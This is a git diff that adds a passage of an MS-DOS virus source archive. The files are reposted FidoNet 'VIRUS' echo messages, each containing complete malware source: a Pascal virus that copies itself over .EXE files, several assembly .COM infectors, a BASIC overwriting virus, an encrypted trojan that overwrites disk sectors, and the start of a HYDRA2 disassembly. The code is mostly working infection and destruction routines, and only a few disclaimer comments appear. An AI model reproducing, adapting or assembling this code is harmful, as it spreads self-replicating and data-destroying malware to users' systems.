+virus_end equ $ +virus_length = virus_end - virus_start ;length of virus + +code ends + + end start + +;-+- GoldED 2.50.B1016+ +; + Origin: Poeldijk, The Netherlands, Europe, Earth (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/yx Extended memory swapping +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir11.pas b/MSDOS/Virus.MSDOS.Unknown.vir11.pas new file mode 100644 index 00000000..598bb30e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir11.pas @@ -0,0 +1,185 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : SCORPIO.PAS +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Graham Allen, 2:283/718 (06 Nov 94 16:15) +;* To : Bill Dirks +;* Subj : SCORPIO.PAS +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Graham.Allen@f718.n283.z2.fidonet.org +program virusman; +{$m 16384,0,0} +uses crt ,dos,graph3; +var + x:real; + i,alfa:integer; + f:file; + fromfile ,tofile ,thisfile :string[12]; + command :string[50]; + atr,atrr,errdos:integer; + rec,recc,crec: searchrec; + fre:longint; + dirs,dstr:string[30]; + +procedure demo; +function fu(x:real):real; +begin +fu:=sin(x)/(sin(x)+2)*cos(x)*3.2; +end; +begin +nosound; +hires; +for i:=0 to 640 do +begin +x:=i/50; +draw(i,round(fu(x)*50)+75,i,round(fu(x)*50)+125,1); +end; +writeln('HI I AM SCORPIO FROM R.O.L.E. NOW THIS IS A VIRUS EATING YOUR HARDDISK +'); +WRITELN('THE IDEA COMES FROM APOLLO ALSO FROM R.O.L.E. "NOW GIV ME SOM FOOD" +'); +WRITELN('I ENJOY EATING EXE FILES ... HAR H A R HAR ... '); +WRITELN('SAY HELLO TO ALL MEMBERS AND CONTACTS '); +writeln('(THE PROTON WARRIOR;APOLLO;LOTUS;GOLDMAN;CSOKI;....) '); +WRITELN(' CU SOON !!!!!!!!!!!'); +REPEAT ALFA:=0 UNTIL ALFA=1; +END; + + +procedure kopie(command:string); +begin +assign(f,fromfile); +setfattr(f,$10); +close(f); +swapvectors; +exec(getenv('comspec'),command); +swapvectors; +if doserror <> 0 then halt; +assign(f,tofile); +setfattr(f,$02); +close(f); +assign(f,fromfile); +setfattr(f,$02); +close(f); +end; + +procedure copyfile; +begin +findfirst('c:*.exe',atr,rec); +if doserror <> 0 then halt else begin +tofile:=rec.name; +delete(tofile,length(tofile)-2,3); +tofile:=concat(tofile,'com'); +command:=concat('copy ',fromfile,' c:',tofile); +kopie(command); +end; +end; + +procedure executef; +begin +swapvectors; +exec(thisfile,''); +swapvectors; +end; +procedure lookup; +procedure nextfile; +begin +repeat +findnext(recc); +if doserror <> 0 then demo +else + begin + tofile:=recc.name; + delete(tofile,length(tofile)-2,3); + tofile:=concat(tofile,'com'); + findfirst(tofile,atrr,crec); + errdos:=doserror; + end; +until errdos <> 0; +command:=concat('copy ',fromfile,' c:',tofile); +kopie(command); +end; + +begin +findfirst('c:*.exe',atr,recc); +if doserror <> 0 then +demo +else + begin + tofile:=recc.name; + delete(tofile,length(tofile)-2,3); + tofile:=concat(tofile,'com'); + findfirst(tofile,atrr,crec); + if doserror <> 0 then begin + command:=concat('copy ',fromfile,' c:',tofile); + kopie(command); + end else nextfile; + end; +end; + +procedure direcnow; +begin +getdir(0,dirs); +dirs:=copy (dirs,1,1); +if dirs <> 'c' then +begin +fre:=diskfree(3); +if doserror=0 then +begin +copyfile ; +executef; +end +else +executef +end +else +begin +if fre > 20000 then +begin +lookup; +kopie(command); +executef; +end +else +demo; +end; +end; + +BEGIN +setcbreak(false); +gotoxy(7,wherey-1); +write('$'); writeln; +writeln('Bad command or filename'); +writeln; +getdir(0,dstr); +write(dstr); +readln(thisfile); +fromfile:=concat(thisfile,'.com'); +thisfile:=concat(thisfile,'.exe'); +textcolor(0); +direcnow; +end. +; +;-+- GoldED 2.50.B1016+ +; + Origin: Poeldijk, The Netherlands, Europe, Earth (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/l Include source line numbers +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir12.asm b/MSDOS/Virus.MSDOS.Unknown.vir12.asm new file mode 100644 index 00000000..c6a80a8e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir12.asm @@ -0,0 +1,216 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 2 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 +;To : - *.* - Fri 11 Nov 94 08:10 +; Subj : BLJEC_8A.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Bryan Sullivan, 2:283/718 (06 Nov 94 16:16) +;* To : Brad Frazee +;* Subj : BLJEC_8A.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Bryan.Sullivan@f718.n283.z2.fidonet.org +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk +; +;-+- FMail 0.96 +; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/e Ignore Extended Dictionary +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir13.asm b/MSDOS/Virus.MSDOS.Unknown.vir13.asm new file mode 100644 index 00000000..2ee7e9cf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir13.asm @@ -0,0 +1,170 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 3 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : LCT_762.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Alan Jones, 2:283/718 (06 Nov 94 16:17) +;* To : Ron Toler +;* Subj : LCT_762.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Alan.Jones@f718.n283.z2.fidonet.org + page ,132 + name LiquidCodeCANCER + title LQCancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident db 'LiquidCode' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + mov ah,ah ;**** + int 21 + mov ah,ah ;**** + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov di,di ;**** + mov bx,0ffff ;**** + mov cx,bx ;Restore original program's code + mov ah,ah ;**** + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; +; +;-+- GoldED 2.50.B1016+ +; + Origin: Fred's Place (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/n Suppress symbol tables in listing +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir14.bas b/MSDOS/Virus.MSDOS.Unknown.vir14.bas new file mode 100644 index 00000000..7e12f9dc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir14.bas @@ -0,0 +1,122 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 4 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +;To : - *.* - Fri 11 Nov 94 08:10 +; Subj : BURG_VIR.BAS +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:19) +;* To : Mark Hapershaw +;* Subj : BURG_VIR.BAS +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org +; Viruses in Basic +; ---------------- +; +; +;Basic is great language and often people think of it as a limited language +;and will not be of any use in creating something like a virus. Well you are +;really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987. +;This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE +;files.To do this you must compile the source code using a the Microsoft +;Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit +;the source code to place the lenght of the object program in the LENGHTVIR +;variable. BV3.EXE should be in the current directory, COMMAND.COM must be +;available, the LENGHTVIR variable must be set to the lenght of the linked +; +;program and remember to use /e parameter when compiling. + + + +10 REM ** DEMO +20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED ** +30 REM ** BASIC DOESNT SUCK +40 REM ** NO KIDDING +50 ON ERROR GOTO 670 +60 REM *** LENGHTVIR MUST BE SET ** +70 REM *** TO THE LENGHT TO THE ** +80 REM *** LINKED PROGRAM *** +90 LENGHTVIR=2641 +100 VIRROOT$="BV3.EXE" +110 REM *** WRITE THE DIRECTORY IN THE FILE "INH" +130 SHELL "DIR *.EXE>INH" +140 REM ** OPEN "INH" FILE AND READ NAMES ** +150 OPEN "R",1,"INH",32000 +160 GET #1,1 +170 LINE INPUT#1,ORIGINAL$ +180 LINE INPUT#1,ORIGINAL$ +190 LINE INPUT#1,ORIGINAL$ +200 LINE INPUT#1,ORIGINAL$ +210 ON ERROR GOT 670 +220 CLOSE#2 +230 F=1:LINE INPUT#1,ORIGINAL$ +240 REM ** "%" IS THE MARKER OF THE BV3 +250 REM ** "%" IN THE NAME MEANS +260 REM ** INFECTED COPY PRESENT +270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210 +280 ORIGINAL$=MID$(ORIGINAL$,1,13) +290 EXTENSIONS$=MID$(ORIGINAL,9,13) +300 MID$(EXTENSIONS$,1,1)="." +310 REM *** CONCATENATE NAMES INTO FILENAMES ** +320 F=F+1 +330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN +GOTO 350 +340 GOTO 320 +350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$ +360 ON ERROR GOTO 210 +365 TEST$="" +370 REM ++ OPEN FILE FOUND +++ +380 OPEN "R",2,OROGINAL$,LENGHTVIR +390 IF LOF(2) < LENGHTVIR THEN GOTO 420 +400 GET #2,2 +410 LINE INPUT#1,TEST$ +420 CLOSE#2 +431 REM ++ CHECK IF PROGRAM IS ILL ++ +440 REM ++ "%" AT THE END OF THE FILE MEANS.. +450 REM ++ FILE IS ALREADY SICK ++ +460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210 +470 CLOSE#1 +480 ORIGINALS$=ORIGINAL$ +490 MID$(ORIGINALS$,1,1)="%" +499 REM ++++ SANE "HEALTHY" PROGRAM ++++ +510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$ +520 SHELL C$ +530 REM *** COPY VIRUS TO HEALTHY PROGRAM **** +540 C$="COPY "+VIRROOT$+ORIGINAL$ +550 SHELL C$ +560 REM *** APPEND VIRUS MARKER *** +570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13 +580 WRITE#1,ORIGINALS$ +590 CLOSE#1 +630 REM ++ OUYPUT MESSAGE ++ +640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!" +650 SYSTEM +660 REM ** VIRUS ERROR MESSAGE +670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM +680 END + + +;This basic virus will only attack .EXE files. After the execution you will +;see a "INH" file which contains the directory, and the file %SORT.EXE. +;Programs which start with "%" are NOT infected ,they pose as back up copies. +; +;-+- DinoMail v.1.0 Alpha +; + Origin: Virus Research Centre Holland (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/Txx Specify output file type +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir15.asm b/MSDOS/Virus.MSDOS.Unknown.vir15.asm new file mode 100644 index 00000000..977c118b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir15.asm @@ -0,0 +1,116 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 5 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : VCL_RICH.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Mike Salvino, 2:283/718 (06 Nov 94 16:20) +;* To : Graham Allen +;* Subj : VCL_RICH.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Mike.Salvino@f718.n283.z2.fidonet.org +; RICHARDS.ASM -- R. Simmons Trojan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 3 ; Trojan Horse +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov ax,0002h ; First argument is 2 + mov cx,0010h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "The Richard Simmons Trojan; gu" + db "aranteed to get rid of that un" + db "sightly FAT in no time!",0 + db "[Richard Simmons Trojan]",0 + db "Nowhere Man, [NuKE] '92",0 + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: xor word ptr [si],06734h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main + +;-+- GEcho 1.10+ +; + Origin: **SERMEDITECH BBS** Soissons FR (+33) 23.73.02.51 (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/Txx Specify output file type +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir16.asm b/MSDOS/Virus.MSDOS.Unknown.vir16.asm new file mode 100644 index 00000000..af14a6da --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir16.asm @@ -0,0 +1,131 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 6 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : KOD4_129.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Mikko Hypponen, 2:283/718 (06 Nov 94 16:23) +;* To : Hans Schotel +;* Subj : KOD4_129.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Mikko.Hypponen@f718.n283.z2.fidonet.org +;>>> Article From Evolution #2 - YAM '92 + +;Article Title: Kode 4 v1 Virus +;Author: Soltan Griss + + +;###################################################################### +;# Name: Kode4 version 1.0 (overwritting stage) +;# Author: Soltan Griss [YAM] +;# +;# Description: What this sucker does is very simple. it overwrites +;# the first 46 bytes of all com files in the current +;# directory, with it's own code... as of scanv93, this +;# virus is undetectable.. +;# +;# +;# Special Thanks go out to Data Disruptor.. If it were not for you i +;# would still be fucking lost!!!! +;# +;###################################################################### + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h +V_Length equ last-start +KODE4 proc far + +start label near ;Check for Virex installiation + + mov ax,0ff0fh + int 21h + cmp ax,0101h ;Abort if Virex Protection + je done ; present + + + mov ah,4Eh ;Find first Com file + mov dx,offset filename ;use "*.com" + int 21h + +Back: + mov ah,43h ;get rid of read only + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01 + and cx,11111110b + int 21h + + mov ax,3D01h ;Open file for writing + mov dx,9Eh ;get file name from file DTA + int 21h + + mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + + mov dx,100h ;Start writing at 100h + mov cl,v_length ;write 46 bytes + mov ah,40h ;Write Data into the file + int 21h + + + pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + + jnc Back + mov ah,9h + mov dx,offset DATA + int 21h + +done: int 20h ;Terminate Program +filename db "*.c*",0 +DATA db " -=+ Kode4 +=-, The one and ONLY!$" + + +kode4 endp +LAST label near +seg_a ends + end start + +;-+- FMail 0.96 +; + Origin: I just hate people who create virusses... (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/x No map file at all +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir17.asm b/MSDOS/Virus.MSDOS.Unknown.vir17.asm new file mode 100644 index 00000000..b8e81a36 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir17.asm @@ -0,0 +1,151 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 7 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : AT_144.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:24) +;* To : Mike Salvino +;* Subj : AT_144.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org +;This is a disassembly of the AT 144 virus. It is processor specific +;and will only run on AT-class machines (286+). It copies itself +;onto the interrupt table and hooks int 21h, function 4bh. Because +;it is on the interrupt table - to call Int 21h in its infection routine +;it merely calls an INT corresponding to where it stores its +;old handler vectors. In this case - it is Int B4h. One interesting thing +;is the JMP SI instruction at the end to return to the host - this +;works because DOS initially sets SI to 100 for running COM files. +;This virus infects any .COM file executed. + +;Please - Do NOT release this or any other virus. +;For educational purposes ONLY! I take no responsibility for damages caused +;by the misuse of this or any other disassembly - they are made to help +;educate programmers as to the workings of the individual viruses and +;viruses as a whole. Such information MUST remain free and uncensored. + +;Disassembly by Black Wolf + +.model tiny +.286 +.code + org 100h + +start: + db 0e9h,02,0 ;Jump Virus_Entry + +Host_File: + int 21h ;Terminate. + +Virus_Entry: + pusha + mov di,si + call Get_Displacement + +Get_Displacement: + pop si + add si,31h ;SI = storage bytes + movsb + movsw ;Restore host in memory. + + mov ax,24h ;Set ES:DI to interrupt table + mov es,ax ;DS:SI to beginning of virus + xor di,di + sub si,3Ah + cmp byte ptr es:[di],60h ;Check if installed. + mov cl,90h + rep movsb ;Copy virus into memory + + jz Done_Install + mov ds,cx + mov si,84h ;Get Int 21 vector. + movsw + movsw + mov word ptr [si-4],3Ah ;Hook Int 21 + mov [si-2],ax + push cs + pop ds + +Done_Install: + push cs + pop es + popa + jmp si ;Jumps back to host.... + ;DOS sets SI = 100h when + ;a COM is loaded. +Jump_Byte db 0e9h +Storage_Bytes: + mov ax,4c00h + +Int_21_Handler: + pusha ;Save all Regs. + push ds + xor ah,4Bh ;Check if execute + jnz Exit_Handler + mov ax,3D02h + int 0B4h ;Open the file for read/write + jc Exit_Handler + mov bx,ax + push cs + pop ds + mov ah,3Fh + mov cx,3 + mov dx,37h + mov si,dx + int 0B4h ;Read in 3 bytes for storage. + cmp byte ptr [si],4Dh + je Close_File ;Check if it's an EXE + mov ax,4202h + xor cx,cx + xor dx,dx + int 0B4h ;Go to end of file + sub al,3 ;save jump size. + mov bp,ax + mov cl,90h ;If the 2nd and 3rd bytes of + sub ax,cx ;the file correspond to what + cmp ax,[si+1] ;a jump WOULD be if the virus + ;were already there, exit. + je Close_File ;(Quit if infected) + mov ah,40h ;Append Virus + int 0B4h + mov ax,4200h + xor cx,cx + int 0B4h ;Go back to the beginning + mov ah,40h + lea dx,[si-1] + mov cl,3 + mov [si],bp + int 0B4h ;Write in the jump. + +Close_File: + mov ah,3Eh + int 0B4h ;Close file. +Exit_Handler: + pop ds + popa ;Exit Handler + db 0EAh ;Far Jump to old Int 21h. +end_virus: +end start + +;-+- Concord/QWK O.O1 Beta-7 +; + Origin: NETTIS Public Acces Internet (603)432-2517 (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/x Include false conditionals in listing +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir18.asm b/MSDOS/Virus.MSDOS.Unknown.vir18.asm new file mode 100644 index 00000000..dc05cecd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir18.asm @@ -0,0 +1,184 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 8 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : HYDRA_2.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Bryan Sullivan, 2:283/718 (06 Nov 94 16:26) +;* To : Edwin Cleton +;* Subj : HYDRA_2.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Bryan.Sullivan@f718.n283.z2.fidonet.org +PAGE 59,132 + +; +; +; HYDRA2 +; +; +; Disassembly by: -=>Wasp<=- aka >>Night Crawler<< +; +; Reassemble with TASM 2.0 +; + +DATA_1E EQU 235H +DATA_2E EQU 522H +DATA_3E EQU 80H +DATA_13E EQU 157H +DATA_14E EQU 15AH + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +HYDRA2 PROC FAR + +START: + 